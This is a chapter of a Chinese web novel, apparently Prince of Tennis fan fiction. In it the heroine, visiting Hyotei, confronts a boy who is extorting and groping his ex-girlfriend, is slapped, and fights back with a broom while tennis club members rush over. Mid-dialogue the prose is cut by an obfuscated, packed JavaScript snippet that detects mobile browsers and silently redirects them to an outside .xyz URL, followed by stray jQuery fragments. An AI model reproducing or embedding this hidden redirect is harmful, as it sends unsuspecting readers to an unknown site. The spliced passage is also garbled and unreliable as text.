17.第 17 章

消息发出去,见对方不在线,她猜想这会儿可能是在忙着训练。


这么等着也不是个事儿,芽久便跟芝砂织一起向右边走去,打算碰到人直接问一下路。


可惜走了十分钟,依旧没看到人。


想是假期除了为了比赛而加练的网球部外,没什么人在学校吧。


到了教学楼附近,芝砂织突然肚子疼,芽久便跟她一起去了教学楼一楼里侧的卫生间,顺道洗了个手后,她趴在外面的栏杆上等着。


冰帝校内建筑现代化气息很强,校园室内几乎全大理石地板,芽久听说过他们甚至还有游泳池以及单人配备电脑,就连刚才她进厕所洗手,洗手池都是全感应式的。


但最让她羡慕的就是冰帝的校服了,刚才经过走廊,看见班级门口贴的优秀学生照片,那身制服穿上,漂亮又显气质,不像他们青学的女生校服,三个年纪统一的大粉蝴蝶结,让人眼前一黑。


蓦然,本该安静无人,除了天上的鸟叫,树上的知了以及厕所的水声外,再无其他杂音的教学楼内传出几声不寻常的动静。


就在卫生间旁边挨着的教室里,听声音好像是一个男的和一个女的,在压着声音说什么话。


芽久八卦欲一下上来了。


芝应该还要一会儿,于是她小心翼翼地靠近那间教室门口,扒在窗边露出一双眼睛。


男的把女的按在墙上……


她眨眨眼,大脑宕机了一瞬,然后迅速背过身,小脸通红,在心里默念“非礼勿视”。


老天奶,给她干哪儿来了,这里还是冰帝国中部吗?怎么会有人在教室里面接吻啊!


教室内,一个黑色齐肩短发穿着校服的女生正在被个一头黄毛,耳朵上打满了耳钉的男生按在黑板上亲,男生的手还不老实的在女生身上乱摸。


在青学的时候芽久也有听到某某班的谁和谁谈恋爱了,但他们都挺隐晦低调的,顶多在学校内拉个小手,摸摸头啥的,哪里见过这种阵仗啊。


虽然有听说冰帝的国际交换生很多,开放且包容,但这是不是有点开放过头了?


芽久咬了咬下嘴唇,决定当没看见。


她又不是冰帝的,没必要多管闲事,还是默默走开,不打扰人家小情侣约会了。


于是,芽久猫着腰,蹑手蹑脚地准备回到厕所那边,没成想刚走到门口,教室里突然乒里乓啷的传来一阵响动,吓的她一个激灵,心脏都漏了一拍。


她没来得及去看里面什么情况,砰的一声巨响,眼前的门被人从里面狠狠推开,黑发女生猛地冲了出来,和她迎面相撞,芽久一个踉跄,身体向后倒去,直直地摔在地上,身上还压了个人。


“啧。”


她这一下被撞的有点狠,陌生女孩的头直接怼到了她的头上,还好没出现那种偶像剧式的扑倒亲吻环节,不然她不仅要吃女孩嘴巴子,还可能尝到里面那男的口水,想想都够恶心的。


“你……你是谁啊?”


少女从她身上起来,脸上还有没褪掉的粉红,眼含泪光怯怯地看着她。


芽久撑着身子坐起来,非常后悔自己为什么非得吃这个瓜。


真是好奇心害死猫,报应这么快就来了。


她张口准备解释说自己是路过的,眼皮一抬,神色骤然一变,迅速拉过少女往左边倒去。


同时,一块黑色的东西擦着少女的耳际砸到了身后的墙上,“啪”的一下,声音响亮的让她都忍不住心尖一颤,可见扔东西的人用了多大力气。


“有毛病啊你!”


芽久捡起地上那个被扔出来的黑板擦朝那个嚣张跋扈的黄毛扔了回去。


少女被吓的不轻,身体止不住地打哆嗦,害怕地往芽久身后藏。


芽久微愣,现在这情况怎么跟她想象的有点不大一样?


这女生不是跟这黄毛男是情侣吗?怎么会演变成现在这个样子?


“凉子,过来。”


黄毛男一脸戾气地斜倚在门框上,眉峰上的耳钉让他整个人看起来更加凶狠。


凉子?是在叫她旁边这个女生?


芽久见女生又往她身后缩了缩,一副很害怕的样子。


于是,她撑着身体站起来,双手叉腰,高扬下巴皱起眉,也摆出一副不好惹的架势:


“喂,你跟她什么关系啊?在学校里欺负人,是想被开除吗?”


黄毛男不屑地“嗤”了声,并非常没素质地冲她吐了口口水,抬高嗓门:“老子是她男朋友!我还想问你是从哪冒出来的?别踏马的在这多管闲事,滚开!”


“呦呵,你还挺嚣张啊,”芽久脾气也上来了,抄起墙边的扫把挡在身前,“你不是这学校的吧?哪里来的小混混,敢到冰帝来欺负人,还男朋友,你这副狗模样也说的出这话,我都替你害臊!赶紧滚,不然我叫人来了啊。


“贱货!你说什么?!信不信老子撕烂你的嘴!”黄毛男脸都青了,抬起拳头对着她的脸。


“你来啊,别以为谁都会怕你!今天我就打的你叫妈妈!”


芽久长这么大还是第一次被人用这种话骂,气的抄起扫把就要上前跟他决斗。


“住手!秋原!”


方才还吓的浑身发抖躲在芽久身后的女生挡在了二人中间,试图阻止冲突。


见状,芽久咬咬牙,暂时忍了下来。


“你不就是想要钱嘛,我给你,你不要再来学校找我了!更……更不要对我再做那种事情,我们已经分手了!”


被叫做“凉子”的女生声线都是抖的,话落,她拿出口袋里的钱包就要给对方拿钱。


“慢着。”


芽久上前一步,握住凉子的钱包,推了回去。


“欸?”女生表情一怔。


“你们已经分手了?”芽久问。


“嗯。”


“既然分手了还给这傻叉毛线钱,他在勒索你知不知道,况且,就算你们谈恋爱也没理由非得给他钱吧,听意思,方才在教室里是他强吻你?还对你动手动脚?他已经构成骚扰了,你报警抓他啊!”


说到这,芽久瞥了眼那黄毛,胡子拉碴的,面相很显老,嫌弃道:


“凉子,你跟这玩意谈恋爱图啥啊,看样子都能当你爸了,他不会已经成年了吧,真畜生啊。”


凉子摇摇头:“没有,秋原君也才16岁。”


芽久:“……”


“喂!死女人!再多管闲事我可就不客气了,就算你是女人我也照打!”


黄毛上前一把推开芽久,抓住凉子的手把她扯了出来。


“快,凉子,给我钱,听话,最后一次了,以后我一定不来找你。”


凉子冲他吼了一句,尾音都在颤抖:“可你上回也是这么说的!”


芽久嫌弃地拿纸巾擦了擦刚才被这死男的碰到的胳膊那一片,然后拿着扫把抱臂站在二人后面。


她话已经说这么明白了,要是凉子还给这玩意儿钱,那她真是一点办法也没有了。


要不帮忙报警?可是万一这女生心里很脆弱,觉得丢人,做出什么过激的事,她后悔都来不及,真难办啊。


见女孩不肯给钱,黄毛男态度又恶劣起来:“快点,赶紧的!别逼老子抽你!”


凉子这次低着头不说话,并且努力想从他手上挣脱,拒绝的态度非常强硬。


芽久看不下去了,上前抓住黄毛的胳膊,用了力气:“放手,你没见到她不想给你钱吗,赶紧滚,丢人现眼的……”


黄毛扬手一甩:“臭婊子,给老子闭嘴!”


“……”


芽久右半张脸火辣辣的疼,嘴里隐隐有血腥味。


她脑子短暂地混沌了几秒,再抬眼,眼眶都是红的,胸口上下起伏,握紧了手里的扫把。


好,真好,本来是别人的事的,现在成个人恩怨了。


“瞪什么瞪!


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569417|170700||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


再瞪老子把你眼睛给挖出来!”


黄毛本以为那一巴掌就让她老实了,正欲回头继续要钱,就听女生骂了一句什么,紧接着眼前一黑,扫把劈头盖脸扫了下来。


“挖你祖宗挖!”


*


随着一阵水流声响起,芝砂织虚弱地从厕所里出来,正要招呼芽久继续找路,忽地听到隔壁的吵闹声。


她探头看了一眼。


芽久和一个不认识的女生坐在地上,在她们前面还有个看起来就很不好惹的黄毛男生,嘴里叭叭的不知道在说些什么。


怎么回事?她不就上个厕所的功夫,怎么就突然这样了?不会要打起来吧?


这么一想,芝砂织肚子突然又疼了起来。


她现在这状态出去也是无济于事,根本就是帮倒忙嘛,该怎么办,不能看着他们就这么打起来啊,而且两个女生这么瘦弱,肯定要吃亏的。


大脑极速运转,突然她灵光一现,想起井上前辈有给她发冰帝网球部部长的电话,现在这种情况也只能找他了。


于是,芝拨通了电话。


迹部景吾放下手里记录各个部员训练赛的比分,刚才忍足侑士和向日岳人进行了一场比赛,6:1获胜,看来要给向日进行些特训了。


突然,铃声响起,他拿起手机按下接听键。


“喂?”


忍足侑士从预备队员手里接过毛巾,边擦脸和脖子上的汗边朝场外走去,将球拍放地上,坐到原先放衣服的长椅上休息。


他弯腰从旁边拿过一瓶未拆封的矿泉水,拧开瓶盖后又随手拿起手机看了眼。


是她发的消息。


忍足打开看了眼,突然被嗓子里的水一呛,咳嗽几声后嘀咕了句“还真迷路了啊”,起身准备跟迹部说一声自己去接人。


刚到跟前,就见他表情很差的在跟谁打电话。


“好,我知道了,马上会过去的。”


“怎么了?”


迹部挂断电话,额心微蹙:


“来学校的那个女记者说她们在教学楼那边和一个外校的起冲突了,啧,本大爷倒要看看什么人敢在冰帝撒野。”


*


芥川慈郎正用拖车拉着两个大箱子朝宿舍旁边的啦啦队专用休息室走去,旁边的凤长太郎还有其他几个拉拉队的女生都根据各自力量或搬或拉几个箱子。


前面就到教学区了,离操场也不远,他打了个哈欠,准备回去后再补一觉,把先前那个梦给做完,希望这次不会再有人打搅他。


“咦?芥川学长,你有没有听到有人在吵架?”凤长太郎歪头问他。


“吵架?今天是星期六诶,除了我们网球部的,大家都在家睡觉,怎么会有人……”


抱怨的话一顿,芥川慈郎看向教学楼那边,他好像也听到了,探头看向声音来处,只见在一楼走廊,一个红色的身影出现在视线中。


这背影好像在哪里见过。


慈郎挠了挠头,又看向其他两人,一个黄毛男,看起来就不是他们学校的,以及一个穿着校服的女生。


是在打架?那个红衣服的好像还拿了个扫把……


视线又移到红衣服的女生身上,她拿着扫把对准黄毛男拍了过去,就像打苍蝇一样,露出的侧脸白皙干净。


慈郎脚步骤然一停。


跟在他后面的凤长太郎也被迫停了下来,一脸不解:“怎么了,芥川学长?”


“长太郎,我没有在做梦吧?”


“没有啊,你现在不是醒着呢吗。”


“真的是她,真的是她!”


“谁啊?”凤长太郎越听越迷糊了。


芥川一把丢掉手里的东西,兴奋地朝教学楼冲了过去,嘴里碎碎念着“仙女”两个字。


凤长太郎刚想拉住他,就见三个熟悉的人从另一个方向到了一楼走廊。


迹部,忍足,还有桦地?他们怎么来了?